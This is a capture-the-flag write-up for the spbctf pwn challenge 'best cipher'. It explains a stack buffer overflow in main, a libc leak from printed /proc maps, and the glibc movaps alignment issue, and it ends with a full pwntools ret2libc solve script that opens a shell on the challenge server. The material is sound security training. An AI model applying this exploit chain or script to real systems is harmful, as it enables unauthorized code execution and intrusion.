best cipher
best cipher
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: empirical_offset_probing, movaps_stack_alignment, proc_maps_libc_leak, ret2libc, rop_chain, stack_buffer_overflow
Summary
Task: x86-64 pwn binary (no canary, NX, no PIE) with a classic stack overflow via read(0,buf,0x80) into a 64-byte buffer; the program prints /proc/$PPID/maps at startup, leaking libc base for free. Solution: ret2libc chain — empirically found RIP offset = 56 (not the naive 72) and added two alignment ret gadgets to satisfy glibc 2.31 system()'s movaps 16-byte alignment.
best cipher — spbctf
Description
The best cipher ever. No vulns. No problems. No safety.
nc 109.233.56.90 11701
Server-side path hint: ret2libc_encoder. Provided files: best_cipher.elf, libc-2.31.so.
The title/description are a semantic pun: the "best cipher" is a single-byte XOR with 0x37,
reflected in the flag spbctf{REDACTED} ("xor is the best cipher yeah").
The XOR "cipher" is a red herring — the actual bug is a textbook stack buffer overflow.
Analysis
Protections
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No canary + no PIE means a straightforward overwrite of the saved return address with
fixed, hard-coded binary gadget addresses. system@plt is present in the binary,
and libc-2.31.so is provided.
The free libc leak — show_memory()
main calls show_memory() before anything else. That function literally runs
system("cat /proc/$PPID/maps"), dumping the full process memory map to the client
on every connection — no format-string leak, no info-leak primitive needed. The
libc base falls out of the first /libc-2.31.so mapping line.
asm read-only • copy allowed00000000004011b2 <show_memory>: 4011b2: push rbp 4011b3: mov rbp, rsp 4011b6: lea rdi, [rip+0xe4b] # "MEMORY SEGMENTS" banner 4011bd: call puts@plt 4011c2: lea rdi, [rip+0xead] # 0x402076: "cat /proc/$PPID/maps" 4011c9: call system@plt # <-- prints the memory map to us 4011ce: lea rdi, [rip+0xebb] 4011d5: call puts@plt 4011da: nop 4011db: pop rbp 4011dc: ret
The overflow — main
asm read-only • copy allowed00000000004012fb <main>: 4012fb: push rbp 4012fc: mov rbp, rsp 4012ff: sub rsp, 0x50 401308: call 0x4011b2 <show_memory> # leaks libc via /proc maps ... 40131e: lea rax, [rbp-0x44] # scanf reads choice here 401331: call __isoc99_scanf@plt # "%d" -> [rbp-0x44] ... 40134d: lea rax, [rip-0x177] # encode 401354: mov qword [rbp-0x8], rax # choice 1 -> fn ptr = encode ... 401362: lea rax, [rip-0xfd] # decode 401369: mov qword [rbp-0x8], rax # choice 2 -> fn ptr = decode ... 401396: lea rax, [rbp-0x40] # buf = [rbp-0x40] (64-byte buffer) 40139a: mov edx, 0x80 # length = 0x80 = 128 40139f: mov rsi, rax 4013a2: mov edi, 0x0 4013a7: call read@plt # read(0, buf, 0x80) -> BOF ... 4013bb: lea rax, [rbp-0x40] 4013bf: mov rdx, qword [rbp-0x8] # rdx = chosen encode/decode fn 4013c3: mov rdi, rax # rdi = buf 4013c6: call rdx # call encode/decode(buf) 4013c8: mov eax, 0x0 4013cd: leave 4013ce: ret # <-- hijacked return
read(0, [rbp-0x40], 0x80) reads 128 bytes into a 64-byte buffer, so the saved
RBP and return address are fully controllable.
The "cipher" — encode/decode
asm read-only • copy allowed401216: movzx eax, byte [rax] 401219: xor eax, 0x37 # XOR each byte with 0x37 40121c: movsx eax, al 40121f: mov edi, eax 401221: call putchar@plt # print, buffer NOT modified
encode/decode XOR each byte with 0x37 in a register and putchar it. The buffer
on the stack is never mutated, so it does not disturb our ROP payload. This is purely
the title's pun.
Solution
Step 1 — parse libc base from the leaked /proc/$PPID/maps
Match the first read-only libc mapping:
regex: ([0-9a-f]+)-[0-9a-f]+ r--p 00000000 [0-9a-f:]+ \d+\s+/libc-2\.31\.so
Step 2 — resolve system and /bin/sh
For glibc 2.31: system at offset 0x48f20, /bin/sh at 0x18a156 (via pwntools
libc.sym / libc.search).
Step 3 — send choice 1, then the overflow ROP chain
payload = b'A'*56 + p64(RET)*2 + p64(POP_RDI) + p64(binsh) + p64(system)
Critical subtlety 1 — RIP offset is 56, NOT 72
Naive frame arithmetic (buffer at [rbp-0x40] → 0x40 to reach saved RBP, +8 for the
return address = 72) is wrong here. The offset was determined empirically by
placing a known target — the address of show_memory (0x4011b2) — at various offsets
and observing behavior:
- offset 40 / 48 → landed inside earlier
maincode, no clean re-entry - offset 56 → cleanly re-executed
show_memoryand reprinted the "MEMORY SEGMENTS" banner ⇒ this is the real saved-return-address slot - offset 64 / 72 → segfault
Lesson: on a small function whose prologue/epilogue you have not fully modeled, do not
trust bufsize + 8. Probe with a function that produces observable output (here, the
memory-map banner) and find the offset that cleanly transfers control.
Critical subtlety 2 — glibc 2.31 system() movaps alignment
glibc system() uses movaps in its prologue, which faults unless RSP is 16-byte
aligned at the call. The alignment parity was found by scanning the number N of
extra bare ret gadgets inserted before pop rdi:
N = 0→ SEGV (misaligned, movaps fault)N = 1→ SEGVN = 2→ SHELLN = 3→ SHELL
So two padding ret gadgets are required (N even ⇒ aligned given this offset/parity).
Gadgets (no-PIE, fixed addresses)
pop rdi ; ret@0x40148b— bytes5f c3ret@0x40148c— bytec3
Note: pop rdi;ret is hidden inside the __libc_csu_init register-restore tail.
objdump's default disassembly aligns it as 41 5f (pop r15) at 0x40148a, masking
the standalone pop rdi at 0x40148b. Verify the raw bytes:
40148a: 41 5f pop r15 # objdump alignment
40148b: 5f pop rdi # <-- real gadget starts here
40148c: c3 ret
Solve script
python read-only • copy allowed#!/usr/bin/env python3 # spbctf - best cipher (ret2libc_encoder) # Stack BOF in main's read(0,buf,0x80) into buf[rbp-0x40]. # show_memory() prints /proc/$PPID/maps at startup -> free libc leak. # RIP control offset = 56. system() needs 2x extra RET for movaps alignment. from pwn import * import re, time context.arch = 'amd64' libc = ELF('libc-2.31.so', checksec=False) POP_RDI = 0x40148b # pop rdi ; ret RET = 0x40148c # ret (alignment) OFFSET = 56 io = remote('109.233.56.90', 11701) data = b'' while b'Choose what to do' not in data: data += io.recv(timeout=5) base = int(re.search(rb'([0-9a-f]+)-[0-9a-f]+ r--p 00000000 [0-9a-f:]+ \d+\s+/libc-2\.31\.so', data).group(1), 16) log.success(f'libc base = {hex(base)}') system = base + libc.sym['system'] binsh = base + next(libc.search(b'/bin/sh')) io.send(b'1\n') io.recvuntil(b'Enter string to encode/decode:') payload = b'A'*OFFSET + p64(RET)*2 + p64(POP_RDI) + p64(binsh) + p64(system) io.send(payload) time.sleep(7) io.sendline(b'cat /flag.txt') io.interactive()